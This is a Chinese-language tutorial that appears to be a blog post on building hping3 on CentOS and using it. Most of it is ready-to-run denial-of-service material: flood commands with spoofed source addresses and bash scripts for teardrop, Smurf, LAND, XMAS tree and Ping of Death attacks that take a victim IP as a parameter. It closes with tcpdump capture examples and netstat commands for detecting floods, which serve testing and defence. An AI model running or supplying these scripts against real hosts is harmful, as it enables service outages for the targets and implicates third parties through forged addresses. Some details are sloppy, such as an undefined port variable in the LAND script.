CentOS hping3安装和应用
CentOS 安装hping3工具
CentOS 安装 hping3 工具!
安装libpcap,libpcap-devel,tcl和tcl-devel
yum -y install libpcap libpcap-devel tcl tcl-devel
- 如果找不到包,从光盘映像文件下找到这三个rpm包,手动安装 rpm -ivh filename.rpm(忽略版本)
rpm -ivh '/root/Desktop/tcl-8.5.7-6.el6.x86_64.rpm'
rpm -ivh '/root/Desktop/tcl-devel-8.5.7-6.el6.x86_64.rpm'
rpm -ivh '/root/Desktop/libcap-devel-2.16-5.5.el6.x86_64.rpm'
rpm -ivh '/root/Desktop/libpcap-1.4.0-1.20130826git2dbcaa1.el6.x86_64.rpm'
hping安装
//确定pcap-bpf.h是否存在/usr/include/下,如果不存在,跳过这步,在下面libpcap-1.1.1.tar.gz的解压包中复制过来
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
出错后问题解决
configure 时候出错
- error can not find the byte order for this architecture, fix bytesex.h
原因:
没有指定 x86_64 下的大小端对齐。 - 解决方法:
修改 bytesex.h,在 defined(i386) 后添加 defined(x86_64)。
修改前
#if defined(__i386__) \
|| defined(__alpha__) \
|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))
修改后
#if defined(__i386__) \
|| defined(__x86_64__) \
|| defined(__alpha__) \
|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))
make找不到pcap.h
- 下载libpcap-1.1.1.tar.gz
http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
tar zxvf libpcap-1.1.1.tar.gz
cd libpcap-1.1.1
./configure
- 然后把libcap-1.9.1/pcap/中的复制到/usr/include/中或者把路径添加到环境变量
sudo cp pcap.h /usr/include/
export C_INCLUDE_PATH=&C_INCLUDE_PATH:头文件
source /etc/profile
echo $C_INCLUDE_PATH
找不到pcap.h
- 添加软连接 /usr/include/net/bpf.h。
ln -sf /libpcap-1.1.1/pcap-bpf.h /usr/include/net/bpf.h
-ltcl -lm -lpthread
ln -sf libpcap.so.1.4.0 /usr/lib64/libpcap.so.1
hping3工具的使用
端口扫描
- 通过 eth0 网口,发送 SYN 报文 到 192.168.1.12:8080
hping3 -I eth0 -S 192.168.1.12 -p 8080
syn flood
- 默认协议: tcp; 默认源端口:随机; 默认源地址:攻击机的 ip 地址
通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造源地址为192.168.1.222,时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.12 -p 8080 -a 192.168.1.222 -i u1000
通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造随机源地址,时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.12 -p 8080 --rand-source -i u1000
通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造随机源地址,洪水攻击。
洪水攻击,速率最快的攻击。不会显示数据 和 丢包的统计。
hping3 -I eth0 -S 192.168.1.12 -p 8080 --rand-source --flood
udp flood
发送 udp 报文 到 192.168.1.12:8080。
hping3 --udp 192.168.1.12 -p 8080
发送 udp 报文 到 192.168.1.12:8080。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.12 -p 8080 --rand-source --flood
icmp flood
发送 icmp 报文 到 192.168.1.12。
hping3 --icmp 192.168.1.12
发送 icmp 报文 到 192.168.1.12。伪造随机源地址,洪水攻击。
hping3 --icmp 192.168.1.12 --rand-source --flood
dns flood
发送 udp 报文 到 192.168.1.12:8080。伪造随机源地址,洪水攻击。
hping3 --udp 192.168.1.12 -p 8080 --rand-source --flood
teardrop
- Teardrop攻击是一种拒绝服务攻击。是基于病态分片数据包的攻击方法。
其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息)。
某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
#!/bin/bash
function teardrop ( )
{
local victim_ip=$1
local id_begin=$2
local id_end=$3
for((id=${id_begin};id<${id_end};id++))
do
hping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefrag
hping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400
done
}
teardrop $*
SMURF攻击
- Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包,来淹没受害主机,
最终导致该网络的所有主机都对此ICMP应答请求做出答复,导致网络阻塞。
更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。
#!/bin/bash
function smurf ( )
{
local victim_ip=$1
local broadcast_ip=$2
hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood
}
smurf $*
XMAS TREE攻击
- TCP所有标志位被设置为1的数据包被称为圣诞树数据包(XMas Tree packet),之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。
hping3 -SFRP 192.168.1.12
LAND攻击
- LAND攻击方式采用了特别构造的TCP SYN数据包(通常用于开启一个新的连接),使目标机器开启一个源地址与目标地址均为自身IP地址的空连接,持续地自我应答,消耗系统资源直至崩溃。这种攻击方法与SYN洪泛攻击并不相同。
#!/bin/bash
function land ( )
{
local victim_ip=$1
hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
}
land $*
Ping of Death攻击
- Ping of Death攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。
#!/bin/bash
function ping_of_death ()
{
local victim_ip=$1
local id=186
local data_size=1450
let icmp_size=${data_size}+8
hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag
for i in $(seq 50)
do
let offset=${i}*${icmp_size}
hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offset
done
}
ping_of_death $*
抓包验证
01、抓取所有网络包,并在terminal中显示抓取的结果,将包以十六进制的形式显示。
tcpdump
02、抓取所有的网络包,并存到 result.cap 文件中。
tcpdump -w result.cap
03、抓取所有的经过eth0网卡的网络包,并存到 result.cap 文件中。
tcpdump -i eth0 -w result.cap
04、抓取源地址是192.168.1.100的包,并将结果保存到 result.cap 文件中。
tcpdump src host 192.168.1.100 -w result.cap
05、抓取地址包含是192.168.1.100的包,并将结果保存到 result.cap 文件中。
tcpdump host 192.168.1.100 -w result.cap
06、抓取目的地址包含是192.168.1.100的包,并将结果保存到 result.cap 文件中。
tcpdump dest host 192.168.1.100 -w result.cap
07、抓取主机地址为 192.168.1.100 的数据包
tcpdump -i eth0 -vnn host 192.168.1.100
08、抓取包含192.168.1.0/24网段的数据包
tcpdump -i eth0 -vnn net 192.168.1.0/24
09、抓取网卡eth0上所有包含端口22的数据包
tcpdump -i eth0 -vnn port 22
10、抓取指定协议格式的数据包,协议格式可以是「udp,icmp,arp,ip」中的任何一种,例如以下命令:
tcpdump udp -i eth0 -vnn
11、抓取经过 eth0 网卡的源 ip 是 192.168.1.100 数据包,src参数表示源。
tcpdump -i eth0 -vnn src host 192.168.1.100
12、抓取经过 eth0 网卡目的 ip 是 192.168.1.100 数据包,dst参数表示目的。
tcpdump -i eth0 -vnn dst host 192.168.1.100
13、抓取源端口是22的数据包
tcpdump -i eth0 -vnn src port 22
14、抓取源ip是 192.168.1.100 且目的ip端口是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 and dst port 22
15、抓取源ip是192.168.1.100或者包含端口是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 or port 22
16、抓取源ip是192.168.1.100且端口不是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 and not port 22
17、抓取源ip是192.168.1.100且目的端口是22,或源ip是192.168.1.102且目的端口是80的数据包。
tcpdump -i eth0 -vnn ( src host 192.168.1.100 and dst port 22 ) or ( src host 192.168.1.102 and dst port 80 )
18、把抓取的数据包记录存到/tmp/result文件中,当抓取100个数据包后就退出程序。
tcpdump –i eth0 -vnn -w /tmp/result -c 100
19、从/tmp/result记录中读取tcp协议的数据包
tcpdump -i eth0 tcp -vnn -r /tmp/result
20、想要截获所有192.168.1.100 的主机收到的和发出的所有的数据包:
tcpdump host 192.168.1.100
21、如果想要获取主机192.168.1.100除了和主机192.168.1.101之外所有主机通信的ip包,使用命令:
tcpdump ip host 192.168.1.100 and ! 192.168.1.101
22、如果想要获取主机 192.168.1.100 接收或发出的 telnet 包,使用如下命令:
tcpdump tcp port 23 host192.168.1.100
shell检测攻击数量
SYN Flood攻击检测
netstat -nt |grep SYN_RECV |awk '/^tcp/{sub(/:.*/,"",$4);sub(/:.*/,"",$5);if($4!=$5){print $4,$5}}' |wc -l
UDP Flood攻击检测
netstat -nua |wc -l
Lood攻击检测
netstat -nt |grep SYN_RECV |awk '/^tcp/{sub(/:.*/,"",$4);sub(/:.*/,"",$5);if($4==$5){print $4,$5}}' |wc -l
ICMP Flood攻击检测
netstat -s | grep "ICMP messages received" | awk '{print $1}'